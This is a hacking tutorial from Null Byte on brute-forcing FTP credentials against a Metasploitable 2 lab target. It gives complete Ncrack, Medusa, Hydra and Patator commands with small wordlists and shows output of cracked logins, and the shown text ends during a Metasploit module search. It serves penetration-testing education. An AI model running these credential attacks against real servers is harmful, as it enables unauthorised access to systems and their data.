How to Brute-Force FTP Credentials & Get Server Access « Null Byte :: WonderHowTo

Hackers often find fascinating files in the most ordinary of places, one of those being FTP servers. Sometimes, luck will prevail, and anonymous logins will be enabled, meaning anyone can just log in. But more often than not, a valid username and password will be required. But there are several methods to brute-force FTP credentials and gain server access.File Transfer Protocolis anetwork protocolused to transfer files. It uses a client-server model in which users can connect to a server using an FTP client. Authentication takes place with ausername and password, typically transmitted in plaintext, but can also support anonymous logins if available.Don't Miss:Brute-Force SSH, FTP, VNC & More with BruteDumFTP usually runs on port 21 by default but can be configured to run on a non-standard port. It is often used inweb developmentand can be found in pretty much any large organization where file transfer is essential.Initial SetupBefore we begin, let's run a simpleNmap scanon our target to make sure the FTP service is present. We will be usingMetasploitable 2as the target andKali Linuxas the attacking machine.~# nmap -sV 10.10.0.50 -p 21

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 11:10 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00067s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 secondsGreat, it looks like it's up and open.Next, let's create two text files, one for usernames and one for passwords. In a real engagement, we'd want to usefiles with much larger data sets, but for demonstration purposes, we'll keep these short to speed up the whole process.Using your favoritetext editor, create a file, and add a few common usernames:root
admin
user
ftp
steveAnd do the same thing for the passwords:password
s3cr3t
user
Password1
hunter2Now we should be good to go.Method 1: NcrackThe first tool we'll look at today is Ncrack. Simply typencrackin the terminal to display the usage information and available options:~# ncrack

Ncrack 0.7 ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iX <inputfilename>: Input from Nmap's -oX XML output format
  -iN <inputfilename>: Input from Nmap's -oN Normal output format
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
SERVICE SPECIFICATION:
  Can pass target specific services in <service>://target (standard) notation or
  using -p which will be applied to all hosts in non-standard notation.
  Service arguments can be specified to be host-specific, type of service-specific
  (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
  Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
  -p <service-list>: services will be applied to all non-standard notation hosts
  -m <service>:<options>: options will be applied to all services of this type
  -g <options>: options will be applied to every service globally
  Misc options:
    ssl: enable SSL over this service
    path <name>: used in modules like HTTP ('=' needs escaping if used)
    db <name>: used in modules like MongoDB to specify the database
    domain <name>: used in modules like WinRM to specify the domain
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, unless you append 'ms'
  (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  Service-specific options:
    cl (min connection limit): minimum number of concurrent parallel connections
    CL (max connection limit): maximum number of concurrent parallel connections
    at (authentication tries): authentication attempts per connection
    cd (connection delay): delay <time> between each connection initiation
    cr (connection retries): caps number of service connection attempts
    to (time-out): maximum cracking <time> for service, regardless of success so far
  -T<0-5>: Set timing template (higher is faster)
  --connection-limit <number>: threshold for total concurrent connections
  --stealthy-linear: try credentials using only one connection against each specified host
    until you hit the same host again. Overrides all other timing options.
AUTHENTICATION:
  -U <filename>: username file
  -P <filename>: password file
  --user <username_list>: comma-separated username list
  --pass <password_list>: comma-separated password list
  --passwords-first: Iterate password list for each username. Default is opposite.
  --pairwise: Choose usernames and passwords in pairs.
OUTPUT:
  -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.
  -oA <basename>: Output in the two major formats at once
  -v: Increase verbosity level (use twice or more for greater effect)
  -d[level]: Set or increase debugging level (Up to 10 is meaningful)
  --nsock-trace <level>: Set nsock trace level (Valid range: 0 - 10)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
MISC:
  --resume <file>: Continue previously saved session
  --save <file>: Save restoration file with specific filename
  -f: quit cracking service after one found credential
  -6: Enable IPv6 cracking
  -sL or --list: only list hosts and services
  --datadir <dirname>: Specify custom Ncrack data file location
  --proxy <type://proxy:port>: Make connections via socks4, 4a, http.
  -V: Print version number
  -h: Print this help summary page.
MODULES:
  SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM
EXAMPLES:
  ncrack -v --user root localhost:22
  ncrack -v -T5 https://192.168.0.1
  ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLESAs you can see, there are a lot of options here, but for now, we'll stick to the basics.We can use the-Uflag to set the file containing usernames, and the-Pflag to set the file containing passwords. Then, specify the service (FTP) followed by the IP address of our target:~# ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:24 CDT

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'password'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'Password1'
10.10.0.50 21/tcp ftp: 'user' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'hunter2'

Ncrack done: 1 service scanned in 15.01 seconds.

Ncrack finished.We can see it discoveredcredentialsforuserandftp; the multiple hits are because anonymous logins are allowed for that user, making any password a valid password.We can also specify the port number explicitly, which is useful if a service is running on a non-default port. Using the-vflag gives us a little more information as well:~# ncrack -U usernames.txt -P passwords.txt 10.10.0.50:21 -v

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:26 CDT

Discovered credentials on ftp://10.10.0.50:21 'ftp' 'password'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 's3cr3t'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'user'
Discovered credentials on ftp://10.10.0.50:21 'user' 'user'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'Password1'
ftp://10.10.0.50:21 finished.

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'password'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'user'
10.10.0.50 21/tcp ftp: 'user' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'Password1'

Ncrack done: 1 service scanned in 15.00 seconds.
Probes sent: 17 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.Method 2: MedusaThe next tool we'll explore is Medusa. Typemedusain the terminal to see the options:~# medusa

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scanWe need to know what modules are available before we can run the tool — use the-doption to dump all modules:~# medusa -d

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

  Available modules in "." :

  Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
    + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
    + svn.mod : Brute force module for Subversion sessions : version 2.1
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0Recommended on Amazon:"The Basics of Hacking and Penetration Testing" 2nd EditionNow we can attempt tobrute-force credentials. Here are the options we need to set:-hflag specifies the host-Uflag specifies the list of usernames-Pflag specifies the list of passwords-Mflag specifies the module to useFire it off, and we can see it in action:~# medusa -h 10.10.0.50 -U usernames.txt -P passwords.txt -M ftp

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: user (3 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: user Password: user [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: ftp (4 of 5, 3 complete) Password: password (1 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: ftp Password: password [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: hunter2 (5 of 5 complete)We can see it found a couple of valid credentials.Method 3: HydraNow, let's go over Hydra. Typehydraat the command line to view syntax and options:~# hydra

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1Adding the-hflag will give us a bit more options as well as some usage examples:~# hydra -h

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify portThis
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt sshWe can use the-Lflag to set the username list, the-Pflag to set the password list, and much like we did with Ncrack, specify the service and target IP address:~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:37:25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: user   password: user
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:37:33If the service isn't running on the default port, we can use the-soption to specify whatever port number it's running on:~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50 -s 21

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:38:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: user   password: user
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: ftp   password: s3cr3t
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:38:48Once Hydra completes the attack, it shows us any logins that were discovered.Method 4: PatatorThe next tool we'll look at isPatator. Typepatatorin the terminal to see the available modules:~# patator

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + smtp_vrfy     : Enumerate valid users using SMTP VRFY
  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO
  + finger_lookup : Enumerate valid users using Finger
  + http_fuzz     : Brute-force HTTP
  + ajp_fuzz      : Brute-force AJP
  + pop_login     : Brute-force POP3
  + pop_passd     : Brute-force poppassd (http://netwinsite.com/poppassd/)
  + imap_login    : Brute-force IMAP4
  + ldap_login    : Brute-force LDAP
  + smb_login     : Brute-force SMB
  + smb_lookupsid : Brute-force SMB SID-lookup
  + rlogin_login  : Brute-force rlogin
  + vmauthd_login : Brute-force VMware Authentication Daemon
  + mssql_login   : Brute-force MSSQL
  + oracle_login  : Brute-force Oracle
  + mysql_login   : Brute-force MySQL
  + mysql_query   : Brute-force MySQL queries
  + rdp_login     : Brute-force RDP (NLA)
  + pgsql_login   : Brute-force PostgreSQL
  + vnc_login     : Brute-force VNC
  + dns_forward   : Forward DNS lookup
  + dns_reverse   : Reverse DNS lookup
  + snmp_login    : Brute-force SNMP v1/2/3
  + ike_enum      : Enumerate IKE transforms
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
  + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  + tcp_fuzz      : Fuzz TCP services
  + dummy_test    : Testing moduleAs you can see, the tool can do a lot. But since we're only concerned with FTP, we can see the help menu with the following command:~# patator ftp_login --help

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: ftp_login <module-options ...> [global-options ...]

Examples:
  ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500

Module options:
  host          : target host
  port          : target port [21]
  user          : usernames to test
  password      : passwords to test
  tls           : use TLS [0|1]
  timeout       : seconds to wait for a response [10]
  persistent    : use persistent connections [1|0]

Global options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Execution:
    -x arg              actions and conditions, see Syntax below
    --start=N           start from offset N in the wordlist product
    --stop=N            stop at offset N
    --resume=r1[,rN]*   resume previous run
    -e arg              encode everything between two tags, see Syntax below
    -C str              delimiter string in combo files (default is ':')
    -X str              delimiter string in conditions (default is ',')
    --allow-ignore-failures
                        failures cannot be ignored with -x (this is by design
                        to avoid false negatives) this option overrides this
                        behavior

  Optimization:
    --rate-limit=N      wait N seconds between each test (default is 0)
    --timeout=N         wait N seconds for a response before retrying payload
                        (default is 0)
    --max-retries=N     skip payload after N retries (default is 4) (-1 for
                        unlimited)
    -t N, --threads=N   number of threads (default is 10)

  Logging:
    -l DIR              save output and response data into DIR
    -L SFX              automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX
                        (DIR defaults to '/tmp/patator')

  Debugging:
    -d, --debug         enable debug messages

Syntax:
 -x actions:conditions

    actions    := action[,action]*
    action     := "ignore" | "retry" | "free" | "quit" | "reset"
    conditions := condition=value[,condition=value]*
    condition  := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"

    ignore      : do not report
    retry       : try payload again
    free        : dismiss future similar payloads
    quit        : terminate execution now
    reset       : close current connection in order to reconnect next time

    code        : match status code
    size        : match size (N or N-M or N- or -N)
    time        : match time (N or N-M or N- or -N)
    mesg        : match message
    fgrep       : search for string in mesg
    egrep       : search for regex in mesg

For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'

 -e tag:encoding

    tag        := any unique string (eg. T@G or _@@_ or ...)
    encoding   := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url"

    hex         : encode in hexadecimal
    unhex       : decode from hexadecimal
    b64         : encode in base64
    md5         : hash in md5
    sha1        : hash in sha1
    url         : url encode

For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64

Please read the README inside for more examples and usage information.That gives us module options, global options, and some syntax examples. Patator is a little more complicated than the previous tools we've covered, but it offers a ton of flexibility in return.Recommended on Amazon:"Kali Linux - An Ethical Hacker's Cookbook" 1st EditionThe biggest thing to keep in mind is that we need toset variablesfor the username and password files. We can accomplish that by settingusertoFILE0andpasswordtoFILE1. Next, we simply set the files to the appropriate number. Don't forget to set the host, then we're ready to go:~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

11:50:07 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:50 CDT
11:50:08 patator    INFO -
11:50:08 patator    INFO - code  size    time | candidate                          |   num | mesg
11:50:08 patator    INFO - -----------------------------------------------------------------------------
11:50:11 patator    INFO - 530   16     3.067 | admin:hunter2                      |    10 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.015 | ftp:hunter2                        |    20 | Login successful.
11:50:11 patator    INFO - 530   16     3.418 | root:password                      |     1 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.483 | root:s3cr3t                        |     2 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.403 | root:user                          |     3 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.485 | root:Password1                     |     4 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.444 | root:hunter2                       |     5 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.315 | admin:password                     |     6 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.451 | admin:s3cr3t                       |     7 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.449 | admin:user                         |     8 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.396 | admin:Password1                    |     9 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.119 | ftp:s3cr3t                         |    17 | Login successful.
11:50:11 patator    INFO - 230   17     0.085 | ftp:Password1                      |    19 | Login successful.
11:50:12 patator    INFO - 230   17     0.207 | user:user                          |    13 | Login successful.
11:50:12 patator    INFO - 230   17     0.150 | ftp:password                       |    16 | Login successful.
11:50:12 patator    INFO - 230   17     0.203 | ftp:user                           |    18 | Login successful.
11:50:14 patator    INFO - 530   16     2.927 | user:password                      |    11 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.913 | user:s3cr3t                        |    12 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.952 | user:Password1                     |    14 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.928 | user:hunter2                       |    15 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.776 | steve:user                         |    23 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.461 | steve:password                     |    21 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.440 | steve:s3cr3t                       |    22 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.442 | steve:Password1                    |    24 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.444 | steve:hunter2                      |    25 | Login incorrect.
11:50:18 patator    INFO - Hits/Done/Skip/Fail/Size: 25/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 10sWe can see that we get a few successful hits.Patator has a useful option to ignore specific parameters, meaning we can choose to display only the successful logins. Use the-xflag to ignore invalid login messages:~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Login incorrect.'

11:52:27 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:52 CDT
11:52:27 patator    INFO -
11:52:27 patator    INFO - code  size    time | candidate                          |   num | mesg
11:52:27 patator    INFO - -----------------------------------------------------------------------------
11:52:31 patator    INFO - 230   17     0.088 | ftp:password                       |    16 | Login successful.
11:52:31 patator    INFO - 230   17     0.089 | ftp:s3cr3t                         |    17 | Login successful.
11:52:31 patator    INFO - 230   17     0.035 | ftp:hunter2                        |    20 | Login successful.
11:52:31 patator    INFO - 230   17     0.127 | user:user                          |    13 | Login successful.
11:52:31 patator    INFO - 230   17     0.129 | ftp:user                           |    18 | Login successful.
11:52:31 patator    INFO - 230   17     0.116 | ftp:Password1                      |    19 | Login successful.
11:52:38 patator    INFO - Hits/Done/Skip/Fail/Size: 6/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 11sThat makes the output a little cleaner, so it's easier to see what's going on.Method 5: MetasploitThe last tool we'll use to brute-force FTP credentials isMetasploit. Launch it by typingmsfconsolein the terminal. From there, we can search for any modules related to FTP using thesearchcommand:msf5 > search ftp

Matching Modules
================

   #    Name                                                               Disclosure Date  Rank       Check  Description
   -    ----                                                               ---------------  ----       -----  -----------
   0    auxiliary/admin/cisco/vpn_3000_ftp_bypass                          2006-08-23       normal     No     Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
   1    auxiliary/admin/officescan/tmlisten_traversal                                       normal     Yes    TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
